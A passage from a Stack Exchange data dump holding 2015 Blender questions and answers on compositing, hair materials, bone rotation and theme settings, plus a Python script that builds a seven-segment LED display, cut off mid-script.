ContentLicense="CC BY-SA 3.0" />
  <row Id="35414" PostTypeId="1" AcceptedAnswerId="35418" CreationDate="2015-08-10T07:50:04.860" Score="4" ViewCount="3681" Body="&lt;p&gt;I want to give my model a glare effect at robots &lt;em&gt;eye&lt;/em&gt;,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/y3h1W.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/y3h1W.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so I gave the material &lt;em&gt;assigned to the eye&lt;/em&gt; Pass Index of 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/bxkBn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bxkBn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;then when I went to compositor and made this node set up, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/s8ngG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/s8ngG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in the viewer I could not see anything like that, (BW Image)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/G4OlZ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/G4OlZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15366" LastActivityDate="2020-04-02T10:08:23.910" Title="Compositor ID Mask not working?" Tags="&lt;cycles-render-engine&gt;&lt;compositor&gt;&lt;render-passes&gt;&lt;id-mask&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35415" PostTypeId="1" CreationDate="2015-08-10T08:20:20.357" Score="11" ViewCount="40591" Body="&lt;p&gt;In a recent news by i.materialise I saw that Blender is the most popular 3D modeling software for 3D printing (complete ranking here: &lt;a href=&quot;http://i.materialise.com/blog/top-25-most-popular-3d-modeling-design-software-for-3d-printing&quot;&gt;http://i.materialise.com/blog/top-25-most-popular-3d-modeling-design-software-for-3d-printing&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally I have the feeling that it's quite hard to turn a Blender design into a 3D print. Am i missing out on something? Do you guys know any easy tricks/tools to make a Blender model 3D printable?&lt;/p&gt;&#xA;" OwnerUserId="16294" LastActivityDate="2017-05-28T13:36:06.007" Title="Why is Blender so popular for 3D printing?" Tags="&lt;3d-printing&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="5" ClosedDate="2015-08-10T19:01:33.433" ContentLicense="CC BY-SA 3.0" />
  <row Id="35416" PostTypeId="2" ParentId="35415" CreationDate="2015-08-10T08:29:20.633" Score="15" Body="&lt;p&gt;(Sorry if this is more of a comment, I can not comment on questions as of yet.) Well there is of course the obvious: Blender has a bundled addon called &quot;3D Printing Toolbox&quot; which lets you easily check for errors (non-manifold edges, faces too small to be accurately printed, overhangs, intersections) and measure statistics (area, volume, dimensions).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to file --&gt; user preferences --&gt; addons --&gt; type : 3d print --&gt; check the 3d printing toolbox&lt;/p&gt;&#xA;" OwnerUserId="15637" LastEditorUserId="8094" LastEditDate="2015-08-10T08:36:43.893" LastActivityDate="2015-08-10T08:36:43.893" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35417" PostTypeId="2" ParentId="35403" CreationDate="2015-08-10T08:37:33.820" Score="4" Body="&lt;p&gt;If you use Cycles, there is a node called Hair Info. You can use the intercept value (Gives a gradient where the root of the hair is black and tip is white) from it to achieve a gradient along the length of the hair. You could for example run it through a ColorRamp. (For more info on hair rendering, see the Wiki here: &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:UK/2.6/Manual/Render/Cycles/Hair_Rendering&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Doc:UK/2.6/Manual/Render/Cycles/Hair_Rendering&lt;/a&gt;). There is also an excellent video on hair rendering by Andrew Price, see here: &lt;a href=&quot;http://youtu.be/jEnCsvcvX8k&quot; rel=&quot;nofollow&quot;&gt;http://youtu.be/jEnCsvcvX8k&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="15637" LastActivityDate="2015-08-10T08:37:33.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35418" PostTypeId="2" ParentId="35414" CreationDate="2015-08-10T08:42:59.950" Score="2" Body="&lt;p&gt;This is pretty weird. I can think of three possible workarouds:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Render the eye as a separate object, then use Object Index.&lt;/li&gt;&#xA;&lt;li&gt;Render the eye on a separate RenderLayer.&lt;/li&gt;&#xA;&lt;li&gt;As the eye seems to be pretty much an emission material, you could separate the emission pass.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="15637" LastActivityDate="2015-08-10T08:42:59.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35419" PostTypeId="1" AcceptedAnswerId="35434" CreationDate="2015-08-10T08:56:04.933" Score="3" ViewCount="2368" Body="&lt;p&gt;I am writing a simple Python script that creates an animation. In order to do this, I am using the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def RotateBone(boneName,rotDegrees,rotAxis):&#xA;    boneSelect = bpy.context.object.data.bones[boneName]&#xA;    boneSelect.select = True&#xA;    bpy.ops.transform.rotate(value = radians(rotDegrees),axis = rotAxis)&#xA;    boneSelect.select = False&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It rotates a bone and then I use lock key frame command. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that if I run it twice, it will re-apply the rotations on the animation sequence. That makes the process of development tedious. I am deleting the human model and re-loading it from disk by using the UI, then I use &lt;code&gt;Run script&lt;/code&gt; command. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also checked &lt;a href=&quot;https://blender.stackexchange.com/questions/28159/how-to-rotate-a-bone-using-python&quot;&gt;this answer&lt;/a&gt;, it does the same - relative rotation. I've also tried setting the &lt;code&gt;rotation_euler&lt;/code&gt; property of the bone directly, but it does not seem to do anything. Any of these might solve my problem:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Find a command that resets all rotations in all key frames that I did.&lt;/li&gt;&#xA;&lt;li&gt;Set the bone rotation values in an absolute way&lt;/li&gt;&#xA;&lt;li&gt;Find a command that deletes an object and a command that loads &lt;code&gt;.mhx&lt;/code&gt; object from disk.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Any idea?&lt;/p&gt;&#xA;" OwnerUserId="16189" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.870" LastActivityDate="2015-08-10T13:39:14.280" Title="How to set bone rotation in Python script by an absolute value?" Tags="&lt;python&gt;&lt;animation&gt;&lt;scripting&gt;&lt;bones&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35420" PostTypeId="1" CreationDate="2015-08-10T09:04:39.420" Score="2" ViewCount="3406" Body="&lt;p&gt;Is there any procedure/plug-in to import .aep files into Blender?&lt;/p&gt;&#xA;" OwnerUserId="16295" LastActivityDate="2015-08-10T09:04:39.420" Title="Importing After Effects .aep file" Tags="&lt;import&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35421" PostTypeId="2" ParentId="35403" CreationDate="2015-08-10T09:09:05.240" Score="3" Body="&lt;p&gt;The colour of the hair is defined by the material chosen in the render settings for the particle system. By default this is the same material used for the surface of the emitter but you can select a different material if you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ZuPfE.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZuPfE.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get parts of the hair a different colour you can either use a noise texture to mix between colours or you can paint an image texture to control where the colour changes.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-08-10T09:09:05.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35422" PostTypeId="2" ParentId="35400" CreationDate="2015-08-10T09:10:17.277" Score="1" Body="&lt;p&gt;This would seem pretty trivial to do. Start by going into the properties window (on the left) &lt;img src=&quot;https://i.stack.imgur.com/SvTrN.png&quot; alt=&quot;Properties panel&quot;&gt;and into Scene (third icon in the ribbon) &gt; Units. Select imperial. This will allow you to more accurately move things in inches (the exactly 1.5 inches you mentioned). In Edit Mode (hit tab to go to edit mode) select (By right clicking on the surrounding vertexes. Hold shift to select many) the face(s) you want to pull (from what I gather, correct me if wrong, this is the end of something cylindrical).  Next set your coordinates to local (Dropdown right below the 3D  View. By default it says &quot;Global&quot;) &lt;img src=&quot;https://i.stack.imgur.com/UdrSh.png&quot; alt=&quot;Coordinate type popup&quot;&gt;. This will let you drag facess accurately and elongate the object without skewing it. Now there are two possibilities:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;You are working on a simple cylinder that you don't want to scale along an axis, because it is rotated. Go to an orthographic view from top (numpad 7 followed by numpad 5, if you don't have a numpad, go to View &gt; Top and View &gt; View / Persp / Ortho). Next, grab the axis of the 3D manipulator that is in the direction you want to move the faces (most probably the blue Z axis) and &lt;em&gt;after&lt;/em&gt; you have started dragging, press and hold shift and control. You can look below the 3D view to see how much the faces move.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You are working with a more complex shape and simply dragging faces would distort it. In this case you must add geometry to the object. With the faces selected, hit E to extrude and type &quot;.15&quot; (without the quotes) or &quot;-.15&quot; (without the quotes. This will create an extrusion from the faces you wanted with exactly a legth of 1.5 inches.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="15637" LastEditorUserId="15637" LastEditDate="2015-08-10T09:21:09.300" LastActivityDate="2015-08-10T09:21:09.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35423" PostTypeId="1" CreationDate="2015-08-10T09:29:01.453" Score="1" ViewCount="14246" Body="&lt;p&gt;suddenly i cannot select anymore with right click (or example objects in object mode or faces in edit mode). I was doing this tutorial and they asked me to change a few things in user preferences and now i cannot select anything. &lt;/p&gt;&#xA;" OwnerUserId="13877" LastActivityDate="2019-04-26T07:08:27.703" Title="suddenly right click selection does not work" Tags="&lt;selection-tools&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35424" PostTypeId="2" ParentId="35423" CreationDate="2015-08-10T09:33:18.577" Score="3" Body="&lt;p&gt;go back to the user preferences, go to input and change select with: to right&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WtIwo.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WtIwo.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8094" LastActivityDate="2015-08-10T09:33:18.577" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="35425" PostTypeId="1" CreationDate="2015-08-10T09:35:15.013" Score="7" ViewCount="283" Body="&lt;p&gt;I'm trying to customize my Blender Theme to make the colors easier for me to look at, but I'm currently stuck on where the Tool Shelves are located in the themes section of the User Preferences.&lt;/p&gt;&#xA;" OwnerUserId="16296" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-08-10T18:28:41.330" Title="What are these called in the User Preferences?" Tags="&lt;theme&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35426" PostTypeId="2" ParentId="35423" CreationDate="2015-08-10T09:42:58.313" Score="3" Body="&lt;p&gt;Eventually you may try to &lt;strong&gt;&lt;em&gt;Load Factory Settings&lt;/em&gt;&lt;/strong&gt;. It'll restore your RMB click functionality, but also change all your current settings. Make sure to save your work first though.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/THEM1.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/THEM1.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="26345" LastEditDate="2019-04-26T07:08:27.703" LastActivityDate="2019-04-26T07:08:27.703" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="35427" PostTypeId="2" ParentId="35425" CreationDate="2015-08-10T10:01:51.760" Score="10" Body="&lt;p&gt;There are a few settings that control the tool shelf theme, such as &lt;strong&gt;Region Background&lt;/strong&gt;, &lt;strong&gt;Region Text&lt;/strong&gt;, &lt;strong&gt;Tab Active&lt;/strong&gt;, &lt;strong&gt;Tab Background&lt;/strong&gt;, etc. Note that each editor got its own tool shelf theme setting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/AsTQh.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/AsTQh.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="3710" LastEditDate="2015-08-10T18:28:41.330" LastActivityDate="2015-08-10T18:28:41.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35429" PostTypeId="1" CreationDate="2015-08-10T10:18:45.213" Score="5" ViewCount="315" Body="&lt;p&gt;I've been searching extensively through this and other forums without success about the topic.&#xA;I am interested in using a new camera model consisting of a normal perspective model, but where the image plane is tilted with respect to the lens plane (scheimpflug principle).&#xA;I can't find how to modify a normal Cycles camera in order to include such &quot;simple&quot; modification.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pep&lt;/p&gt;&#xA;" OwnerUserId="16298" LastActivityDate="2015-08-11T20:21:48.550" Title="View camera vs. Perspective camera (scheimpflug optics)" Tags="&lt;python&gt;&lt;modeling&gt;&lt;cycles-render-engine&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ClosedDate="2017-08-27T16:27:46.640" ContentLicense="CC BY-SA 3.0" />
  <row Id="35430" PostTypeId="1" AcceptedAnswerId="39210" CreationDate="2015-08-10T11:26:42.667" Score="6" ViewCount="386" Body="&lt;p&gt;There seem to be a lot of tutorials on creating camera shake within blender but I can't find any about creating slow camera sway, as if someone is holding the camera. Is there a way to do this in blender without animating every move or is there a tutorial or addon someone can point me towards? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="9711" LastEditorUserId="599" LastEditDate="2015-09-28T06:39:45.827" LastActivityDate="2015-09-28T06:39:45.827" Title="Creating Camera Sway" Tags="&lt;animation&gt;&lt;camera&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="7" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35432" PostTypeId="1" CreationDate="2015-08-10T13:09:27.273" Score="3" ViewCount="844" Body="&lt;p&gt;Does anyone know if it its possible to export an interactive interface with an image with Blender for Flash? I'm sure its possible but think I may be missing a few plugins. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="16301" LastEditorUserId="241" LastEditDate="2015-08-10T13:42:14.907" LastActivityDate="2015-08-11T08:13:13.943" Title="Exporting interactive Flash content" Tags="&lt;export&gt;&lt;image&gt;" AnswerCount="1" CommentCount="6" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35433" PostTypeId="2" ParentId="35403" CreationDate="2015-08-10T13:22:22.653" Score="0" Body="&lt;p&gt;What you probably need to do, is duplicate your emitter object. Essentially you have 3 separate hair systems. 1 for each color.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think most of the answers above relate to coloring different colours along the strand, but if you want multiple patches or sections, I think you have to separate the hair systems.&lt;/p&gt;&#xA;" OwnerUserId="4960" LastActivityDate="2015-08-10T13:22:22.653" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35434" PostTypeId="2" ParentId="35419" CreationDate="2015-08-10T13:27:36.953" Score="0" Body="&lt;p&gt;I think I managed to find a solution. &lt;code&gt;rotation_euler&lt;/code&gt; property does seem to work (and it is absolute). It didn't work before because &lt;code&gt;rotation_mode&lt;/code&gt; was quarternion, so it didn't affect them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, the solution is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def SetBoneRotationDeg(human,boneName,rotEulerDeg):&#xA;    lastMode = human.pose.bones[boneName].rotation_mode&#xA;    human.pose.bones[boneName].rotation_mode = 'XYZ'    &#xA;    human.pose.bones[boneName].rotation_euler[0] = radians(rotEulerDeg[0])&#xA;    human.pose.bones[boneName].rotation_euler[1] = radians(rotEulerDeg[1])&#xA;    human.pose.bones[boneName].rotation_euler[2] = radians(rotEulerDeg[2])&#xA;    human.pose.bones[boneName].rotation_mode = lastMode&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16189" LastActivityDate="2015-08-10T13:27:36.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35435" PostTypeId="2" ParentId="35419" CreationDate="2015-08-10T13:39:14.280" Score="1" Body="&lt;p&gt;Your problem was using the edit bones, not pose bones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A function I used was like the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;set_rotation(ob, bone_name, rot, axis='X'):&#xA;     mat_rot = mathutils.Matrix.Rotation(radians(rot), 4, axis)&#xA;     bone = ob.pose.bones[bone_name]&#xA;     bone.matrix = mat_rot&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This has the added benefit of using a quaternion I believe. I will need to look into that. &lt;code&gt;axis&lt;/code&gt; can also be a Vector.&lt;/p&gt;&#xA;" OwnerUserId="4960" LastActivityDate="2015-08-10T13:39:14.280" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35436" PostTypeId="1" AcceptedAnswerId="35437" CreationDate="2015-08-10T13:52:11.860" Score="3" ViewCount="2248" Body="&lt;p&gt;This script builds a 3-digit, 7-segment red LED display and cycles through 0-315 in steps of 45. But it doesn't quite work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When changing the first digit to &quot;EDIT&quot; mode in order to change the material of each face (according to the digit pattern) I get an error I don't understand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE&lt;/strong&gt;: Set 3D viewport shading to &quot;Rendered&quot; before running script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what it should look like after it finishes running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1v9A6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1v9A6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ERROR MESSAGE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Traceback (most recent call last):&#xA;  File &quot;/Users/david914/Documents/Blender/BlenderPython/Fishing/3D text writing/text writing 7-seg digital counter v03.blend/Animate 7-segment&quot;, line 225, in &#xA;  File &quot;/Applications/blender.app/Contents/MacOS/../Resources/2.74/scripts/modules/bpy/ops.py&quot;, line 189, in &lt;strong&gt;call&lt;/strong&gt;&#xA;    ret = op_call(self.idname_py(), None, kw)&#xA;RuntimeError: Operator bpy.ops.object.mode_set.poll() failed, context is incorrect&#xA;Error: Python script fail, look in the console for now...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def make_LED_mat(mat_name, color_transp=None, color_emit=None, &#xA;                   emit_strength=None, frac=None):&#xA;&#xA;# modified from HERE: http://blender.stackexchange.com/a/32162/5334&#xA;# and HERE:  http://blender.stackexchange.com/q/34609/5334&#xA;&#xA;    LED_mat = bpy.data.materials.new(mat_name)&#xA;    LED_mat.use_nodes = True&#xA;    tree  = LED_mat.node_tree&#xA;    nodes = LED_mat.node_tree.nodes&#xA;&#xA;    for node in nodes:&#xA;        tree.nodes.remove(node) # clean it up, start fresh&#xA;&#xA;    out    = nodes.new(type='ShaderNodeOutputMaterial')&#xA;    mix    = nodes.new(type='ShaderNodeMixShader')&#xA;    emit   = nodes.new(type='ShaderNodeEmission')&#xA;    transp = nodes.new(type='ShaderNodeBsdfTransparent')&#xA;&#xA;    out.location      =  300,    0&#xA;    mix.location      =    0,    0&#xA;    transp.location   = -200,   50&#xA;    emit.location     = -200, -100&#xA;&#xA;    # link mix_shader to material output&#xA;    a = mix.outputs['Shader']&#xA;    b = out.inputs['Surface']&#xA;    tree.links.new(a, b)&#xA;&#xA;    # link transp to mix&#xA;    a = transp.outputs['BSDF']&#xA;    b = mix.inputs[1]  # 'Shader' is used twice, so you access via index.&#xA;    tree.links.new(a, b)&#xA;&#xA;    # link emissive to mix&#xA;    a = emit.outputs['Emission']&#xA;    b =  mix.inputs[2]&#xA;    tree.links.new(a, b)&#xA;&#xA;    if color_transp == None:&#xA;        color_diff = [0.8, 0.8, 0.8, 1.0]&#xA;    if color_emit == None:&#xA;        color_emit = [1.0, 0.2, 0.2, 1.0]&#xA;    if frac == None:&#xA;        frac = 0.5&#xA;    if emit_strength == None:&#xA;        emit_strength = 2.0&#xA;&#xA;    mix.inputs[0].default_value = frac  # factor&#xA;    transp.inputs['Color'].default_value = color_transp&#xA;    emit.inputs['Color'].default_value    = color_emit&#xA;    emit.inputs['Strength'].default_value = emit_strength&#xA;&#xA;    return LED_mat&#xA;&#xA;&#xA;def make_7_seg(hw, hl, gapxy, slant_factor):&#xA;&#xA;    xnom = np.array([-hl, -hl+hw, hl-hw, hl, hl-hw, -hl+hw])&#xA;    ynom = np.array([0.0, -hw, -hw, 0.0, hw, hw])&#xA;    znom = np.array([0.0, 0.0, 0.0, 0.0, 0.0, 0.0])&#xA;&#xA;    xoffs = (hl+gapxy) * np.array([0, 1, 1, 0, -1, -1, 0])&#xA;    yoffs = (hl+gapxy) * np.array([2, 1, -1, -2, -1, 1, 0])&#xA;    rots  = 0.5 * np.pi * np.array([0, 1, 1, 0, 1, 1, 0])&#xA;    sinrot, cosrot = np.sin(rots), np.cos(rots)&#xA;&#xA;    X = cosrot[:,None]*xnom[None,:] - sinrot[:,None]*ynom[None,:] + xoffs[:,None]&#xA;    Y = sinrot[:,None]*xnom[None,:] + cosrot[:,None]*ynom[None,:] + yoffs[:,None]&#xA;    Z = np.zeros_like(X, dtype='float')        &#xA;&#xA;    X = X + slant_factor*Y        &#xA;&#xA;# help from here:http://blender.stackexchange.com/a/35362/5334&#xA;# question from here: http://blender.stackexchange.com/questions/35360/having-problems-with-python-int-types-specifying-mesh-faces-again&#xA;&#xA;    faces = np.arange(7*6).reshape(7,6).tolist()&#xA;    verts = [ thing for thing in zip(X.flatten(), Y.flatten(), Z.flatten())]&#xA;&#xA;    me = bpy.data.meshes.new('digit')&#xA;    ob = bpy.data.objects.new('digit', me)&#xA;    bpy.context.scene.objects.link(ob)&#xA;    me.from_pydata(verts, [], faces)&#xA;&#xA;    return ob&#xA;&#xA;def segit_dictionary():&#xA;&#xA;#&#xA;#  ---A---&#xA;# |       |&#xA;# F       B&#xA;# |       |&#xA;#  ---G---&#xA;# |       |&#xA;# E       C&#xA;# |       |&#xA;#  ---D---&#xA;#&#xA;#      A  B  C  D  E  F  G&#xA;# &quot;0&quot;  X  X  X  X  X  X  -&#xA;# &quot;1&quot;  -  X  X  -  -  -  -&#xA;# &quot;2&quot;  X  X  -  X  X  -  X&#xA;# &quot;3&quot;  X  X  X  X  -  -  X&#xA;# &quot;4&quot;  -  X  X  -  -  X  X&#xA;# &quot;5&quot;  X  -  X  X  -  X  X&#xA;# &quot;6&quot;  X  -  X  X  X  X  X&#xA;# &quot;7&quot;  X  X  X  -  -  -  -&#xA;# &quot;8&quot;  X  X  X  X  X  X  X&#xA;# &quot;9&quot;  X  X  X  X  -  X  X&#xA;# &quot; *ALTERNATES* &quot;&#xA;# &quot;9*&quot; X  X  X  -  -  X  X&#xA;# &quot;7*&quot; X  X  X  -  -  X  -&#xA;# &quot;6*&quot; -  -  X  X  X  X  X&#xA;# &quot;1*&quot; -  -  -  -  X  X  -&#xA;#&#xA;#&#xA;&#xA;    segit = dict()&#xA;    segit[0] = [1,1,1,1,1,1,0]&#xA;    segit[1] = [0,1,1,0,0,0,0]&#xA;    segit[2] = [1,1,0,1,1,0,1]&#xA;    segit[3] = [1,1,1,1,0,0,1]&#xA;    segit[4] = [0,1,1,0,0,1,1]&#xA;    segit[5] = [1,0,1,1,0,1,1]&#xA;    segit[6] = [1,0,1,1,1,1,1]&#xA;    segit[7] = [1,1,1,0,0,0,0]&#xA;    segit[8] = [1,1,1,1,1,1,1]&#xA;    segit[9] = [1,1,1,1,0,1,1]&#xA;    digits = [thing for thing in segit]&#xA;&#xA;    for digit in digits:&#xA;        segit[str(digit)] = segit[digit]  # text is OK too&#xA;&#xA;    for thing in ['blank', 'BLANK', 'dark', 'DARK', 'null', 'NULL']:&#xA;        segit[thing] = [0,0,0,0,0,0,0]&#xA;&#xA;    return segit&#xA;&#xA;&#xA;&#xA;import bpy&#xA;import bmesh&#xA;import numpy as np&#xA;import time&#xA;&#xA;# MAKE MATERIALS&#xA;ON_mat = make_LED_mat(&quot;ON&quot;, color_transp= (0.8, 0.8, 0.8, 1.0), &#xA;                            color_emit  = (1.0, 0.0, 0.0, 1.0),&#xA;                            emit_strength =1.0, frac=1.0)&#xA;&#xA;OFF_mat = make_LED_mat(&quot;OFF&quot;, color_transp= (0.8, 0.8, 0.8, 1.0), &#xA;                              color_emit  = (1.0, 0.0, 0.0, 1.0),&#xA;                              emit_strength =1.0, frac=0.0)&#xA;&#xA;# MAKE DISPLAY&#xA;# MAKE DIGITS&#xA;ones_digit = make_7_seg(0.5, 2.0, 0.15, 0.20)&#xA;tens_digit = make_7_seg(0.5, 2.0, 0.15, 0.20)&#xA;hundreds_digit = make_7_seg(0.5, 2.0, 0.15, 0.20)&#xA;ones_digit.name = &quot;ones_digit&quot;&#xA;tens_digit.name = &quot;tens_digit&quot;&#xA;hundreds_digit.name = &quot;hundreds_digit&quot;&#xA;digits = [hundreds_digit, tens_digit, ones_digit]&#xA;&#xA;# PLACE THEM UPRIGHT&#xA;for i, digit in enumerate(digits):&#xA;    digit.rotation_euler = ((0.5*np.pi, 0.0, 0.0))&#xA;    digit.location = ((7.0*(i-1), 0, 5.0))&#xA;    digit.data.materials.append(OFF_mat)  # material index 0&#xA;    digit.data.materials.append(ON_mat)   # material index 1&#xA;    #digit.active_material = ON_mat    # turn everything on first&#xA;&#xA;# GET DICTIONARY&#xA;S = segit_dictionary()&#xA;&#xA;# later we'll put SUZANNE behind the semi-transparent LEDs and rotate her by these angles&#xA;&#xA;angles_deg = list(range(0, 350, 45))&#xA;angles = [thing*np.pi/180.0 for thing in angles_deg]&#xA;&#xA;&#xA;# try to animate the 3D window&#xA;# setup some stuff first&#xA;# from HERE:  https://gist.github.com/zeffii/a422d4d7dc04ed023a57#file-proof2-py&#xA;context = bpy.context&#xA;for area in context.screen.areas:&#xA;    if area.type == &quot;VIEW_3D&quot;:&#xA;        ctx = { &quot;window&quot;: context.window, &quot;area&quot;: area, &quot;region&quot;:None}&#xA;        break&#xA;US = lambda: bpy.ops.wm.redraw_timer(type='DRAW_WIN_SWAP', iterations=1)&#xA;&#xA;# if ready to go:&#xA;if 1 == 1:&#xA;    #bpy.context.space_data.viewport_shade = 'RENDERED'&#xA;&#xA;    for a, adeg in zip(angles, angles_deg):&#xA;        astr = str(adeg+1000)[1:]&#xA;        # hundreds:&#xA;        if astr[0] == &quot;0&quot;:&#xA;            p_hundreds = S['blank']  # leading zero suppresion&#xA;        else:&#xA;            p_hundreds = S[astr[0]]&#xA;        # tens:&#xA;        if astr[1] == &quot;0&quot; and astr[0] == &quot;0&quot;:  # leading zero suppresion&#xA;            p_tens = S['blank']&#xA;        else:&#xA;            p_tens = S[astr[1]]&#xA;        # ones:&#xA;        p_ones = S[astr[2]]&#xA;        patterns = [p_hundreds, p_tens, p_ones]&#xA;&#xA;        if 1 == 1:&#xA;            print(adeg, &quot; &quot;, astr)&#xA;            print(p_hundreds)&#xA;            print(p_tens)&#xA;            print(p_ones)&#xA;            print(&quot; &quot;)&#xA;&#xA;        if 1 == 1:&#xA;            for dig, pat in zip(digits, patterns):&#xA;                bpy.ops.object.select_all(action='DESELECT')&#xA;                dig.select = True&#xA;                bpy.ops.object.mode_set(mode='EDIT')&#xA;                bm = bmesh.from_edit_mesh(dig.data)&#xA;                for f, p in zip(bm.faces, pat):  # each face 